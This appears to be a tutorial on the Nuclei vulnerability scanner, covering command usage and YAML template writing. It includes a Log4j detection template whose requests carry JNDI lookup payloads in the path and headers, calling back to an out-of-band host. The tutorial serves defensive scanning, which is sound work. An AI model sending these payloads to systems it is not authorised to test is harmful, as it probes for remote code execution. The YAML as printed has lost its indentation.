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# Introducing Nuclei: A Fast and Customizable Vulnerability Scanner
## Introduction
Nuclei is an open-source, fast, and customizable vulnerability scanner developed by ProjectDiscovery. It is designed to send requests across targets based on predefined templates, enabling efficient and accurate vulnerability detection with minimal false positives. Nuclei supports scanning for various protocols, including TCP, DNS, HTTP, SSL, File, Whois, and Websocket[2].
## Key Features
1. Template-based scanning: Nuclei uses YAML-based templates to define scanning logic, making it highly extensible and customizable.
2. Multi-protocol support: Enables scanning across various network protocols and services.
3. Fast and efficient: Optimized for speed, allowing rapid scanning of large numbers of hosts.
4. Low false positives: Template-based approach helps minimize false positive results.
5. Community-driven: Large repository of community-contributed templates for detecting various vulnerabilities.
6. Easy integration: Can be easily integrated into CI/CD pipelines and other automated security workflows.
## Usage Examples
### Basic Scanning
To scan a single target using Nuclei:
```bash
nuclei -u https://example.com
```
To scan multiple targets from a file:
```bash
nuclei -l targets.txt
```
### Using Specific Templates
Scan with particular templates:
```bash
nuclei -u https://example.com -t cves/ -t exposures/
```
### Filtering Templates
Scan using templates with specific tags:
```bash
nuclei -u https://example.com -tags cve,oast
```
Exclude certain tags:
```bash
nuclei -u https://example.com -etags dos,fuzz
```
### Output Formatting
Generate JSON output:
```bash
nuclei -u https://example.com -json-output results.json
```
### Rate Limiting
Limit requests per second:
```bash
nuclei -u https://example.com -rate-limit 100
```
## Creating Nuclei Templates
Nuclei templates are YAML files that define the scanning logic. Here's a basic structure of a Nuclei template:
```yaml
id: example-template
info:
name: Example Vulnerability Check
author: YourName
severity: medium
description: Checks for an example vulnerability
requests:
- method: GET
path:
- "{{BaseURL}}/vulnerable-endpoint"
matchers:
- type: word
words:
- "vulnerable string"
```
Key components of a template:
1. `id`: Unique identifier for the template
2. `info`: Metadata about the template
3. `requests`: Defines the HTTP requests to be made
4. `matchers`: Specifies conditions to identify vulnerabilities
### Example: CVE Detection Template
Here's an example template for detecting CVE-2021-44228 (Log4j vulnerability):
```yaml
id: CVE-2021-44228
info:
name: Apache Log4j RCE
author: pdteam
severity: critical
description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
requests:
- raw:
- |
GET /${jndi:ldap://{{interactsh-url}}} HTTP/1.1
Host: {{Hostname}}
User-Agent: ${jndi:ldap://{{interactsh-url}}}
Referer: ${jndi:ldap://{{interactsh-url}}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- "http"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
```
This template sends requests with JNDI lookup strings in various HTTP headers and checks for DNS or HTTP callbacks to detect the Log4j vulnerability[8].
## Best Practices for Template Creation
1. Use clear and descriptive template IDs and names
2. Include accurate metadata (author, severity, description)
3. Utilize dynamic variables like `{{BaseURL}}` for flexibility
4. Implement precise matchers to reduce false positives
5. Test templates thoroughly before submission
6. Follow the community guidelines for template contributions
## Conclusion
Nuclei's template-based approach offers a powerful and flexible way to conduct security scans. Its ease of use, extensibility, and community support make it a valuable tool for security professionals, bug bounty hunters, and developers alike. By understanding how to use Nuclei effectively and create custom templates, users can significantly enhance their vulnerability detection capabilities and contribute to the broader security community.
Citations:
[1] https://github.com/projectdiscovery/nuclei/milestone/43?closed=1
[2] https://gist.github.com/E1A/6755b0e74a55cf9dcd8c133c5bf6e990
[3] https://github.com/0xKayala/NucleiScanner
[4] https://github.com/projectdiscovery/nuclei-templates/actions/workflows/template-sign.yml
[5] https://github.com/projectdiscovery/nuclei/discussions/1998
[6] https://github.com/projectdiscovery/nuclei/issues/1950
[7] https://github.com/projectdiscovery/nuclei-templates/issues/8674
[8] https://github.com/CyberLegionLtd/nuclei
[9] https://github.com/projectdiscovery/nuclei/discussions/4987
[10] https://github.com/projectdiscovery/nuclei-templates/blob/main/README.md
[11] https://github.com/rootklt/nuclei-template-guide/blob/main/template-guide.md
[12] https://github.com/projectdiscovery